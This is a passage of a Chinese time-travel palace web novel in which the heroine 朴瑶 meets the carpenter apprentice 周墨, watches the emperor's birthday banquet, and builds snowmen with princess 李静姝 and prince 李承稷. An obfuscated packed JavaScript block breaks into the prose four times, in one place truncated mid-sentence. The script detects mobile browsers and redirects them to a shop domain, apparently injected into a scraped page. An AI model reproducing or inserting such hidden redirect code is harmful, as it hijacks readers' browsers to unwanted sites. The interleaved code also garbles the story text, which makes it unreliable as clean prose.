窗外,宫灯次第亮起,在重重的殿宇楼阁间蜿蜒成一条条昏黄的光带。夜色彻底笼罩了这座庞大的宫殿群。 她关好窗,开始利落地收拾矮几上的奏疏和工具。动作一丝不苟,神情平静,仿佛刚才那场暗流涌动的交锋从未发生。 但只有她自己知道,有些东西已经不一样了。 李承稷的疑心并没有完全打消,他只是暂时将疑问搁置了。 而这种“留意”,在这个步步惊心的宫廷里,可能意味着机遇,更可能意味着危险。 她吹灭多余的蜡烛,只留一盏照明,抱着整理好的书函走向指定书架。 昏黄的烛光将她的影子投在墙壁和书架上,拉长,变形,随着她的移动而摇曳不定。 就像她在这个时代的前路,吉凶未卜,影影绰绰。 阁楼下,传来周女官检查门锁的细微声响。酉时三刻到了。 新的一天即将结束,而新的考验,或许才刚刚开始。 9. 周墨 “设计这个的……学徒在么?”朴瑶站起身问。 刘掌柜撇撇嘴,朝后面喊道:“周墨!出来!有人看你那破玩意儿!” 后门挂着的旧布帘被掀开,一个年轻人走了出来。 大约十八九岁年纪,身材高瘦,穿着打补丁的粗布短打,袖口挽到手肘,露出线条流畅的小臂,上面沾着木屑和些许松油。 他生得浓眉大眼,鼻梁挺直,嘴唇紧抿着,给人一种沉默倔强之感。 最引人注目的是他那双手,骨节分明,粗糙有力,指腹和虎口有厚茧,但手指修长,此刻正无意识地捻着衣角,显得有些局促。 “掌柜,您叫我?”他的声音低沉,带着长期少言的沙哑。 “不是我,是这位小娘子,问你的‘宝贝’呢!”刘掌柜语带讥讽。 年轻人——周墨,目光转向朴瑶,眼中闪过一丝讶异,随即被更多的窘迫取代。他下意识地将沾着污渍的手往身后蹭了蹭,才低声问:“娘子……可对这机巧之物感兴趣?” “很有意思。”朴瑶语气认真,指向装置的核心部分,“齿轮的齿数比设计得很合理,能省不少力气。只是……”她指尖虚点连杆与齿轮轴的连接处,“这里如果用活动的榫头,比如‘燕尾榫’或者‘楔钉榫’,代替直接钉死的铁钉或者固定卯榫,不仅更牢固,磨损也会小很多,转动也更顺滑。” 周墨的眼睛,在听到“齿数比”时微微睁大,等朴瑶说到榫头改进时,那双眼眸瞬间迸发出惊人的亮光,仿佛长久蒙尘的珍珠被骤然擦亮! “娘子……略懂些机关术?懂榫卯?”他的声音因为激动而有些发颤,向前迈了一小步,又猛地意识到距离太近,赶紧后退,脸涨红了。 “略知一二。”朴瑶微笑,“你叫周墨?” “是,周墨。”他点头,随即眼神又黯淡了些,垂下眼,“只是个……学徒。”最后两个字说得很轻,带着不甘。 朴瑶心中了然。她沉吟片刻,从怀里取出钱袋,数出一百文铜钱——对她而言不是小数目,但值得。 “这个装置,我买了。”她把钱放在旁边一个当凳子用的木墩上。 周墨和刘掌柜同时愣住了。 刘掌柜先反应过来,脸上堆起笑:“哎哟,小娘子好眼力!这、这虽然是个学徒玩意儿,但用料实在!周墨,还不快谢谢这位娘子!” 周墨却连连摆手,脸更红了:“不不,这、这不值这么多钱!它就是些边角料做的,而且、而且还没做好,不好用……” “我觉得值。”朴瑶打断他,目光坦然地看着他,“因为它让我看到了想法和巧思。不过,我有个请求。” 周墨停下动作,疑惑又期待地看着她。 “我想请你帮我再做个小东西。”朴瑶比划着,“一个能放在书桌上的小架子,上面有个卡槽和机关,可以夹住书页,用个小摇柄或者旋钮,就能自动把看完的一页翻过去,不用总用手去按着,读书人长时间看书,手腕会酸。” 这是她临时想出的借口,一个合理且不会引起过多注意的需求,同时又能给周墨一个明确且略有挑战性的目标。 周墨的眼睛再次亮起来,他几乎是不假思索地开始在脑中构思,手指无意识地在空中虚划了几下。“自动翻书……夹住书页……传动……翻页的力道要轻柔……”他喃喃自语,完全沉浸了进去。 “不急,你可以慢慢想,慢慢做。”朴瑶微笑,“我每月十五休沐,会来西市。到时候来看你的进展,如何?” 周墨猛地回神,用力点头,脸上是压抑不住的兴奋和郑重:“好!我……我一定尽力!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129392|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开“刘氏木匠铺”时,朴瑶回头看了一眼。周墨正蹲在那个机械装置旁,用手指描摹着齿轮的轮廓,侧脸在店铺昏暗的光线里,显得专注而充满生气。 刘掌柜则拿着那一百文钱,嘀嘀咕咕地数着,似乎还在惊讶。 走在依旧喧嚣的西市街头,秋日的阳光暖融融地洒在身上,驱散了深宫带来的些许寒意。 系统提示适时浮现: 【接触关键人物:周墨。历史扰动值+3%。获得守望值×15】。 【周墨当前状态:木匠铺学徒,饱受轻视,怀才不遇。原历史轨迹:三年后因执着于‘奇技淫巧’、‘浪费材料’被逐出师门,辗转流浪至北境边关,偶遇巡察的军器监少监,其设计的简易连弩与投石机部件改良图纸得到赏识,被破格录用。后累功升至将作大匠,主持多项重大工程。现轨迹:因宿主的认可与委托,产生未知变数。】 朴瑶握紧了袖中的钱袋,里面是陆明渊还的银子和她自己剩余的俸禄。 陆明渊在破旧小院里憧憬春闱,周墨在昏暗铺子里琢磨机关,春桃在太液池边浆洗衣裳,林静婉在病母床前忧愁明日,李静姝在重重宫闱中吟咏诗词,李承稷在马场书房里思索天下…… 这些名字,不再是史书页脚冰冷的知识点,而是变成了有温度、有呼吸、有悲喜的鲜活生命。他们在这个被称为“永昌盛世”的时代里,努力活着,挣扎着,梦想着。 她能改变多少?她不知道。历史或许有它的惯性,个人的力量渺如尘埃。 但至少今天,她看到了陆明渊眼中重燃的希望,看到了周墨被点亮的光芒。 这就够了。 至少此刻,秋阳正好。 她迈开步子,汇入西市川流不息的人群,身影渐渐消失在人海与光影交错之中。 10. 赵锋 十月二十,永昌帝寿辰,万寿节。 从清晨起,整个宫城便浸染在一股盛大而紧绷的喜悦之中。 朱红的宫墙被擦拭得纤尘不染,各处门廊悬挂起崭新的明黄绸缎和八角宫灯。 宫女太监们脚步匆匆,捧着各色贡品、礼器、筵席用品,穿梭于各宫各殿之间,空气里弥漫着脂粉、香料和一种近乎肃穆的兴奋。 作为清闲衙门,她们并无资格参与前殿盛宴。 朴瑶和另外两名女史如常整理书籍,只是心思难免浮动。午后,周女官从内侍省回来,手里端着一个红漆托盘,上面盖着明黄色绸布。 “陛下仁厚,今日寿辰,赐各司宫女太监寿桃点心一份。”周女官揭开绸布,露出一碟八个粉嘟嘟的“寿桃”——其实是做成桃形的豆沙包,用可食用的植物染料染了粉红,顶端还用菜汁点了绿蒂,精巧可爱。 阁内连同周女官共四人,每人分得两个。 “谢陛下隆恩,谢司籍。”女史们行礼接过,脸上都露出笑容。这御赐的点心,味道如何尚在其次,更是一种难得的体面。 朴瑶领了自己那份,回到二楼东厢她常待的窗边位置。 窗外正对着一片小小的、无人打理的花圃,秋草枯黄。 她小口咬着寿桃,豆沙馅细腻香甜,面皮松软。对于平日饮食清简的宫女而言,这已是难得的美味。 【临时观察任务:见证历史关键场景‘永昌二十七年万寿节盛宴’。任务奖励:历史知晓度+10%,守望值×30。】 系统提示跳了出来。朴瑶慢慢咀嚼着豆沙,思索着。 她确实需要更直观地了解这个时代的权力中心,尤其是那些在未来几年、十几年里将深刻影响国运的人物。 但以她的身份,绝无可能进入太极殿。 她几口吃完寿桃,将指尖的碎屑拍净,起身下楼,来到周女官身边:“司籍,今日用水多,后院井台的水怕是打完了,奴婢想去西侧小厨房那边的井看看,多打些备着。” 周女官正小心地用油纸将分剩的半个寿桃包好,她打算带回去给生病的小宫女。 闻言抬头看了朴瑶一眼,又瞥了一眼窗外渐暗的天色,目光里有些了然,但并未点破。今日宫中管理比平日松些,只要不惹事,些许逾矩也能睁只眼闭只眼。 “去吧,手脚麻利些,申时前回来。莫要往热闹处凑。” “是。” 朴瑶提了个半旧的木桶,出了藏书阁的院门。她没有往西侧小厨房去,而是沿着平日少有人走的僻静甬道,借着夜色和树木阴影的掩护,小心地朝太极殿方向绕去。 越靠近前殿,灯火越亮,往来穿梭的宫女太监也越多。 每个人都行色匆匆,表情恭敬中带着紧张。朴瑶尽量低着头,提着木桶,让自己看起来像个普通的、正在干杂役的宫女。 她绕到太极殿西侧的“永巷”,这里有一条长长的回廊,连接着几处偏殿,平时是低阶宫人行走的通道,今夜人少了许多,但透过回廊精美的镂空雕花长窗,恰好能窥见太极殿正殿内的部分景象。 她在一处窗格后停下,将木桶放在脚边,屏息凝神,透过花窗的缝隙向内望去。 大殿内灯火辉煌,成百上千支儿臂粗的蜡烛在鎏金烛台上燃烧,将一切照得纤毫毕现。殿顶绘着华丽的藻井,梁柱盘绕着金龙。地上铺着猩红地毯。 正北高阶之上,永昌帝李琰端坐于宽大的龙椅中。他看起来四十岁上下,正值年富力强,面容方正,留着修剪整齐的短髯,双目炯炯有神。 此刻他穿着明黄色的十二章纹衮服,头戴前后垂着十二旒玉藻的冕旒,这是最隆重的朝会礼服,彰显着无上威仪。 但或许因为是寿宴,他脸上带着些许笑意,减少了压迫感,正微微倾身,听着身旁內侍的禀报。 御阶之下,左右两侧设着筵席。左侧以头戴凤冠、身着深青翟衣的皇后为首,几位高位妃嫔依次而坐,皆盛装华服,珠翠环绕。右侧则是皇子公主们的席位。 朴瑶一眼就看到了李承稷。 他穿着皇子制式的绛纱袍,头戴远游冠,坐姿挺拔如松,在一众皇室子弟中显得格外沉稳。 他偶尔会侧头与身旁年龄相仿的二皇子低声交谈两句,但大部分时间目光都平静地注视着御阶之上的帝王,或者面前案上的酒肴。 再往下,是文武百官的席位,按品级高低排列,一直延伸到殿门附近。 人头攒动,蟒袍玉带,冠盖云集。朴瑶的目光缓缓扫过那些或熟悉或陌生的面孔,眼前自动浮现出系统标记的光幕: 【兵部尚书张浚,58岁,面容清癯,目光锐利。原轨迹:永昌十三年,因力主对北狄用兵却遭惨败,被政敌攻讦,革职流放岭南,病死于途中。】 【户部侍郎王璠,45岁,微胖,笑容可掬,正与同僚敬酒。原轨迹:永昌十五年,卷入江南盐铁转运巨额贪腐案,被查实为主谋之一,判斩立决,家产抄没,亲族流放。】 【翰林院侍读学士(未来轨迹关联人物:陆明渊)……】 看到最后这一条时,朴瑶心头猛地一震,仿佛有一股微小的电流窜过脊背。 陆明渊……那个在康宁坊槐树下咳得撕心裂肺、却依然眼神清亮的穷书生,他真的能走到这里? 在这个时空既定的轨迹里,他会金榜题名,高中进士,入翰林院,最终穿着绯红官袍,站在这象征着帝国权力巅峰的大殿之上,成为这济济群臣中的一员。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129393|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一种难以言喻的复杂情绪涌上心头。有欣慰,有期待,也有一丝……历史洪流滚滚向前的宿命感。 宴至中段,气氛愈加热烈。教坊司献上歌舞。 先是身着霓裳羽衣的舞姬们如云般飘入场中,长袖善舞,乐声缱绻。 随后,乐声陡然一转,变得激昂慷慨,金戈铁马之气扑面而来。 一队约莫二十人、身着改良戎装的少年郎持剑入场,表演剑舞。 他们动作整齐划一,剑光霍霍,带着沙场演武般的雄健。 而领舞之人,更是引人注目。 那是个约莫十六七岁的少年,比其他人略高半头,身姿挺拔如枪。 他的剑法显然高出同侪不止一筹,不仅凌厉精准,更带着一种独特的、近乎艺术的韵律感。 腾挪闪转间,衣袂翻飞,烛火映在他年轻俊朗的脸上,剑锋划出的弧光冷冽如秋水。 【检测到关键人物:赵锋,17岁,禁军左卫下属侍卫。祖父为已故镇北将军赵广。原轨迹:永昌二十三年,于“景和宫变”中,为保护太子李承稷(假设轨迹不变)力战而亡,身中二十七创,死时倚东宫宫门不倒。】 朴瑶的呼吸瞬间停滞了!隔着雕花长窗,隔着喧嚣的乐声与人声,她仿佛能看见史书上那惨烈的一幕,看见这个此刻在殿中舞剑、生机勃勃的少年,未来浑身浴血、死不瞑目的样子。 就在这时,剑舞进入高潮。只见赵锋一个漂亮的鹞子翻身,腾空跃起丈余,手中长剑如灵蛇吐信,精准地挑起了御阶旁一盆金丝菊中最绚烂的一朵。 他旋身落地,单膝点地,双手捧剑,那朵金菊不偏不倚,正落在剑身之上,花瓣丝毫无损。 “好——!” 满殿喝彩雷动。连御座上的永昌帝都抚掌大笑,龙颜大悦:“好!剑如游龙,人如猛虎!这是谁家儿郎?” 一名身着高级武官服饰的将领疾步出列,躬身奏道:“启禀陛下,此乃臣麾下新晋侍卫赵锋,正是已故镇北将军赵广之孙!” “原来是忠烈之后,将门虎子!”永昌帝笑容更盛,“好!赏金百两,锦缎十匹!” “谢陛下隆恩!”赵锋的声音清朗有力,他保持着单膝跪地的姿势,抬头谢恩。 就在他抬头的那一刹那,目光似乎无意地扫过侧殿回廊的方向,扫过朴瑶藏身的那扇花窗。 距离遥远,光线明暗交错,朴瑶无法确定他是否真的看到了自己,抑或只是目光掠过。 但那瞬间的目光交接,却让她心头一凛,下意识地向后缩了缩。 剑舞结束,少年们行礼退下。宴席继续,丝竹又起,恢复了觥筹交错的喧哗。朴瑶知道不宜久留,提起脚边的木桶,准备悄无声息地离开。 12. 搭雪人 十一月初七,冬至刚过。京城迎来了今年冬天第一场雪。 雪是从后半夜开始下的,起初是细碎的雪粒,敲打着窗棂,到清晨时已变成了纷纷扬扬的鹅毛大雪。 朴瑶醒来时,屋内比平日更暗,推开窗,一片刺目的银白涌入眼帘——远处的宫墙、近处的殿脊、院中的枯树,全都裹上了一层厚厚的新雪,天地间一片寂静的纯白,连平日里从不间断的晨钟都仿佛被雪声吞没了。 呵出的气息在冷空气中凝成团团白雾。朴瑶穿上最厚的冬衣,裹紧头巾,拿起竹扫帚开始清扫藏书阁前的石阶和走道。 积雪很厚,一脚踩下去能没到脚踝,发出“咯吱咯吱”的声响。 清冷的空气带着雪特有的清新气息,让她因早起而昏沉的头脑为之一振。 刚扫了不到一半,一阵清脆如银铃、又带着毫不掩饰的欢快的笑声,便穿透雪幕,由远及近。 “朴瑶!朴瑶——!” 朴瑶直起身,循声望去。 只见一团火红的身影,正从藏书阁西侧的甬道里飞奔而来,在洁白无垠的雪地上留下一串深深浅浅的脚印。 是李静姝。 她今日穿了件簇新的大红织金斗篷,帽沿镶着雪白的风毛,随着奔跑,斗篷下摆和风毛一起在风雪中飞扬。 她没戴手捂,两只小手冻得通红,却毫不在意,脸上是纯粹的、属于孩童的兴奋。 她身后,两个年长的宫女提着裙摆,气喘吁吁地追着,口中不住地喊:“殿下!慢些!雪地滑,当心摔着!” 小公主哪里听得进去,径直跑到朴瑶面前才停下,仰起冻得红扑扑的小脸,眼睛亮得像是盛满了星光:“朴瑶!你看你看!我堆的雪人!就在那边!” 她兴奋地指向院墙角落。那里果然有一个半人高的雪人,堆得歪歪扭扭,身子大,脑袋小,用几颗黑色的小石子勉强做了眼睛和嘴巴,一根细细的胡萝卜斜插着当鼻子,看起来憨态可掬,又有些滑稽。 朴瑶忍不住笑起来,放下扫帚,拍了拍手上的雪:“殿下堆得真不错,尤其是这鼻子,很有精神。” “才不好呢!”李静姝嘟起嘴,绕着雪人走了半圈,挑剔地指着,“头是歪的,身子也不圆,手……我本来想给它做手的,可是雪太松了,一插就掉。”她说着,忽然眼睛一亮,上前拉住朴瑶的衣袖,轻轻摇晃,带着孩子气的撒娇:“你陪我堆个大的!好不好?就在藏书阁前面堆!这里地方宽敞!” 自那次论诗之后,五公主李静姝便成了藏书阁的常客。 几乎每隔三五日,她便会抱着书卷或画册跑来找朴瑶,有时是请教某个典故的出处,有时是分享自己新作的诗句,更多时候,只是单纯想找个能安静说话、不必时时端着公主架子的人。 周女官起初有些为难,但见小公主只是找朴瑶论诗谈画,并未扰乱阁内秩序,且五公主生母徐婕妤近来颇得圣眷,便也睁一只眼闭一只眼了。 朴瑶也渐渐摸清了这位小公主的脾性,聪慧敏感,天性烂漫,被保护得很好,却也对深宫的高墙有种懵懂的厌倦与好奇。 一来二去,两人倒是熟稔起来。在深宫之中,一个能平等对话、又不带谄媚或畏惧的年轻女史,对李静姝而言是新鲜的,也是珍贵的。 而在朴瑶眼中,这位小公主也渐渐褪去了“历史人物”的标签,成了一个聪慧、敏感、偶尔娇憨的真实少女。 “殿下,这……”朴瑶有些为难,看向追过来的两个宫女。在藏书阁正门口堆雪人,似乎有些不合规矩。 那两个宫女也面露难色,刚想开口劝,李静姝却抢先道:““规矩规矩,到处都是规矩!”李静姝嘟起嘴,但随即又换上一副央求的表情,“好不好嘛?父皇说今日雪大,免了晨课。母妃也说可以玩一会儿雪,透透气。你看,她们都准了!”她指了指身后的宫女,两个宫女连忙点头,虽然神色依旧不安。 她晃着朴瑶的胳膊,眼巴巴地望着:“堆嘛堆嘛!我们堆一个比我还高的!” 朴瑶看着小公主满是期待的眼睛,又看了看这满院洁净的初雪,心里那点恪守规矩的坚持也软了下来。罢了,难得她如此开心。 便点了点头:“那……好吧,就堆一会儿。” “太好啦!”李静姝立刻欢呼起来,解下自己的斗篷扔给宫女,“拿着,碍事!”然后便撸起袖子,露出纤细的手腕,开始用戴着手套的手去扒拉积雪。 朴瑶向两位宫女歉意地笑了笑,也拿起铲子跟过去帮忙。 两个宫女对视一眼,终究没再阻拦,反而也挽起袖子加入了进来。公主玩得开心,她们回去也好交差。 雪很蓬松,滚起来并不费力。四个女子,其中一个还是金枝玉叶,在院中忙碌起来,笑声和呼喊声打破了雪日的寂静。李静姝力气小,滚的雪球总是散开,急得直跺脚;朴瑶便教她先用少量雪压实做芯,再慢慢滚大。 宫女们也渐渐放开了,互相丢着小雪球嬉闹。 不多时,一个齐胸高、圆滚滚的雪人身躯便成形了。 又滚了个稍小的雪球做头,安放上去。朴瑶找了根稍直的枯枝,折成两截,给雪人插上当手臂。 李静姝则忙不迭地贡献出自己的“装备”,她小心翼翼地拔下头上那支镶嵌着红珊瑚的精致金簪,踮着脚,郑重其事地插在雪人头顶偏侧的位置,权当帽子;又解下自己斗篷系带末端缀着的、用金线缠绕的流苏穗子,仔仔细细地给雪人“系”在“脖子”处,当作围巾。 退后两步,她歪着小脑袋打量自己的杰作,忽然扑哧笑了:“它戴了我的簪子,倒像个爱美的小姑娘了!” “殿下把自己的宝贝都给它了,它自然要好好打扮。”朴瑶笑道。 李静姝伸手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129395|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻碰了碰雪人冰冷的脸颊,指尖立刻被冻得通红,她却没缩回来,反而若有所思地问:“朴瑶,你说……它会觉得冷吗?站在这里,只有一根穗子围着。雪做的身子,一定很凉吧?” 孩子气的问题,却透露着纯真的关怀。朴瑶心头温软,也伸手摸了摸雪人,温声道:“有殿下亲手系的围巾,还有殿下的簪子做伴,它心里一定是暖的。” “真的?” “嗯。” 李静姝听了,眼睛弯成了月牙。但她很快又抛出一个问题:“那它叫什么名字好呢?我的小雪人有名字吗?” 朴瑶看着眼前一大一小两个并肩的雪人,又望向漫天飞舞的雪花和银装素裹的宫城,沉吟片刻:“今日是永昌元年的初雪。不如……就叫它‘永昌’吧。纪念永昌年的第一场雪,和殿下堆的第一个大雪人。” “永昌……”李静姝轻声重复着这个名字,脸上的笑容渐渐淡去一些,她抬起头,望向漫天飞舞的雪花,声音忽然变得很轻,带着一丝与她年龄不符的怅惘、天真的困惑:“朴瑶,你说……书里写的‘永昌盛世’,真的能一直‘永昌’下去吗?像这雪人,太阳出来,会不会化掉?” 问题来得突然,也太过沉重。朴瑶心头微震,看向小公主。李静姝的侧脸在雪光映照下,线条尚显稚嫩,眼神却似乎望向了很远的、连她自己也不甚明了的未来。 或许是在深宫中耳濡目染,或许是天性敏感,这个被保护得很好的小公主,竟也隐隐触摸到了“永恒”的虚无与“盛世”背后的脆弱。 雪花无声地落在两人的肩头、发梢。朴瑶沉默了片刻,才缓缓开口,声音平静而温和:“殿下,这世上恐怕没有什么东西,能真正永远昌盛不败。四季会轮转,白雪会消融,王朝也有兴衰。但是……” 她顿了顿,指着雪人,又指向李静姝冻红的小手,和两人呼出的团团白气:“但是此刻落下的雪是真的,我们堆雪人时手心的冰凉是真的,殿下此刻的快乐……也是真的。能记住这些真实的‘此刻’,或许比追求一个虚无缥缈的‘永远’,更重要。” 李静姝静静地听着,长长的睫毛上沾了几片雪花,很快融化成细小的水珠。她似懂非懂,但朴瑶话语中的某种东西,让她感到一种奇异的安抚。她伸出小手,再次摸了摸雪人“永昌”冰冷的脸,仿佛要将这触感记住。 “那我以后,每年下第一场雪的时候,都来堆一个雪人。”她忽然说,声音又恢复了清亮,带着孩子气的决心,“堆好多好多,给它们都起上名字。这样,我就能记住好多好多个‘此刻’了,对不对?” 朴瑶看着她重新明亮起来的眼睛,心头涌起一股暖流,也有一丝难以言喻的酸楚。她用力点头,微笑道:“对。殿下记得叫上我,我们一起堆。” “嗯!说好了!” 就在此时,院门处传来轻微的踏雪声。 13. 梦见 众人循声望去,只见李承稷披着一件玄色狐裘大氅,正踏雪而来。 肩头和发梢都落了一层薄薄的雪花,衬得他面容愈发清俊。 他显然是从别处过来的,看见院中的景象,脚步顿了顿,眼中掠过一丝清晰的讶异,随即化作淡淡的笑意。 “三哥!”李静姝立刻像只欢快的小鸟般飞奔过去,抓住他的手臂,“你看!我和朴瑶堆的雪人!叫‘永昌’!” “看见了。”李承稷任由妹妹摇晃,目光从雪人身上扫过,落在朴瑶身上一瞬,又回到妹妹兴奋的小脸上。 他掏出随身带着的素绢帕子,动作自然地给李静姝擦拭脸上和鬓边的雪水,“玩得手都冰透了,仔细回去头疼。” “不冷!一点儿都不冷!”李静姝嘴上倔强,却听话地把冰凉的小手塞进李承稷温热的手掌里,“三哥的手才凉呢!你是不是又在外头站了很久?” 朴瑶早已放下木铲,退后两步,躬身行礼:“奴婢给三殿下请安。” “免礼。”李承稷虚扶了一下,目光再次落回那个顶着珊瑚发簪、围着珍珠流苏的雪人身上,唇角微扬,“‘永昌’?名字起得倒是……气魄不小,你惯会顺着她”他这话是对朴瑶说的。 语气听不出褒贬,朴瑶垂首:“殿下童心可贵,奴婢只是陪着玩耍,图个雪日吉庆,殿下见笑了。” 李承稷不置可否,只轻轻“嗯”了一声。 雪还在不紧不慢地下着,大片大片的雪花旋转飘落,覆盖着万物,也模糊了远处的景致。 三个人——皇子、公主、女史,就这样静静地站在藏书阁前的雪地里,一时间谁都没有再说话,只有雪花簌簌落下的声音,轻柔地填满周围的寂静。 两个宫女远远退到廊下,呵出的白气一团团融进风雪里,不敢打扰这略显奇特的宁静。 “三哥,”李静姝忽然打破了沉默,声音比刚才低了许多,带着一丝不易察觉的瑟缩,“我……我昨晚做了个噩梦。” 李承稷低头看她:“梦见什么了?说给三哥听听。” 李静姝往他身边靠了靠,小手紧紧抓着他的衣袖。 “梦见……”李静姝咬了咬嘴唇,声音更低了,带着点不安,“梦见我长大了,长得……好高好高。穿着好重好重的衣裳,头上顶着沉甸甸的东西,坐在一个很大、但是很冷清的宫殿里。那个宫殿的窗户很高,外面也在下雪,白茫茫的一片。我想出去堆雪人,可是没有人陪我……我想喊,可是喊不出声……” 她描述得并不清晰,甚至有些混乱,但那画面中透出的孤寂与冰冷,却让听到的人心头一紧。 李承稷沉默了一下,抬手轻轻抚了抚妹妹的头发,动作是兄长的温柔:“傻丫头,梦都是反的。你梦里穿得重,说不定是将来要穿最轻快的舞衣跳舞呢。梦里一个人,说不定将来身边围满了陪你玩闹的人。” “真的吗?”李静姝仰起脸,眼神里有一丝不确定的依赖,“可是梦里……好像就只有我一个人……三哥,我有点怕长大。” “不怕。”李承稷的声音低沉而坚定,带着兄长特有的安抚力量,“有我在。” 李静姝将脸埋在哥哥的大氅里,闷闷地“嗯”了一声,过了会儿,用几乎听不见的声音说:“要是……要是一直像现在这样,不长大多好。可以堆雪人,可以找朴瑶说话,三哥也常来看我……” 朴瑶站在一旁,将这对兄妹的对话一字不漏地听在耳中。寒风卷着雪花扑打在她的脸上,冰冷刺骨,但此刻她心口堵着的那股滞闷与酸楚,远比寒风更甚。 她知道,那不只是梦。 她什么都知道。 她知道五年后,李静姝会穿上那身“很重很重”的嫁衣,坐上远行的车辇,踏上那条通往异域和悲剧的不归路。 北狄的王庭很远,那里的冬天更长,雪更大,风更烈,但再也不会有兄长温柔的安慰,不会有藏书阁前陪她堆雪人、听她说梦的宫女。 她也知道,此刻温和地安抚着妹妹、许诺会一直在的三皇子,未来会登上那至高无上的位置,却将在内忧外患中焦头烂额,最终眼睁睁看着妹妹远嫁、王朝倾颓,自己也可能走向史书所载的悲剧结局。 冰冷的雪花落在她的睫毛上,很快融化成冰凉的水滴,顺着眼角滑落,像是眼泪。 【触发隐藏情感任务:尽可能延长‘此刻’的温暖与安宁。任务描述:历史的洪流不可阻挡,但或许可以尽力守护眼前片刻的美好。无具体数值奖励,无失败惩罚。是否接受?】 系统提示音在她脑海中轻轻响起,不像往常那般机械冰冷,反而带着一丝人性化的、近乎叹息的温柔。 朴瑶深吸了一口冰冷彻骨、却也让头脑无比清醒的空气。 她抬手,用微凉的手指轻轻拭去眼角的湿润,然后,对着望向她的李静姝,露出了一个尽可能灿烂、温暖的笑容。 走上前一步,指着雪人“永昌”旁边一块空白的雪地道: “殿下,梦都是假的,雪人才是真的。你看,这里还有空地,我们再堆一个小的,好不好?给‘永昌’做个伴,让它也不孤单。” 李静姝从哥哥怀里抬起头,眼睛还带着一点点未散的水汽,但听到这个提议,立刻亮了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129396|196193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“好呀!堆个小的!就叫……叫‘元初’!永昌元年的初雪!” “好名字!”朴瑶笑着应和,重新拿起铲子。 李静姝也挣脱哥哥的手,欢快地跑过去,仿佛刚才那片刻的低落从未发生。 “需要帮忙么?”一直沉默看着的李承稷忽然开口,他解开了大氅的系带,随手递给旁边的宫女,也挽起了袖子,“滚雪球,我力气总比你们大些。” 朴瑶有些意外地看了他一眼。李承稷对上她的目光,神色平静:“既然要堆,就堆个像样的。” “多谢殿下。” 于是,藏书阁前的雪地里,又热闹起来。李承稷负责滚那个中等大小的雪球做小雪人的身体,朴瑶和李静姝则一起滚更小的雪球做脑袋。 两个宫女也重新加入,帮忙找装饰物。 雪还在下,簌簌地,不知疲倦地,覆盖着这座庞大宫城的每一个角落,覆盖着朱墙金瓦,也覆盖着此刻这片小小院落里,短暂却真实的欢声笑语。 当一大一小两个雪人终于并肩立在藏书阁前,小的那个同样被李静姝用剩下的流苏穗子和几片彩绸装扮起来时,天色已近午时。 “看!它们在一起了!”李静姝开心地拍着手,脸蛋冻得通红,眼睛却笑成了月牙。 一大一小两个雪人,顶着雪花,静静地依偎着。雪花落在它们身上,渐渐累积,像是要为它们披上同一件洁白的斗篷,仿佛真要这样,并肩立到白头。 李承稷重新披上大氅,看着妹妹雀跃的样子,脸上也有了一层浅淡却真实的暖意。他转头看向朴瑶,似乎想说什么,但最终只是对她微微颔首,然后牵着李静姝的手:“该回去了,父皇该等着你用午膳了。” “嗯!”李静姝乖巧地点头,又回头朝朴瑶挥手,“朴瑶!我改天再来!说好了,每年下雪都要堆雪人!” “好,奴婢等着殿下。”朴瑶站在雪地里,微笑着目送他们。 兄妹俩的身影,一大一小,渐渐消失在漫天飞雪的甬道尽头。 朴瑶独自站在院中,看着那一大一小两个并肩的雪人。雪花落在她的肩头、发上,她也恍若未觉。 她知道,“此刻”终将过去,雪会融化,梦会醒,历史的车轮会碾过一切柔软与美好。 但至少,在这个永昌初年的初雪日,在藏书阁前,有过两个名叫“永昌”“元初”的雪人,曾并肩立在风雪里。 像一个微小却坚定的祈愿,像一个终将被掩埋却真实存在过的见证。 她伸出手,轻轻拂去小雪人“头顶”的一片雪花。 雪花无声,落满肩头。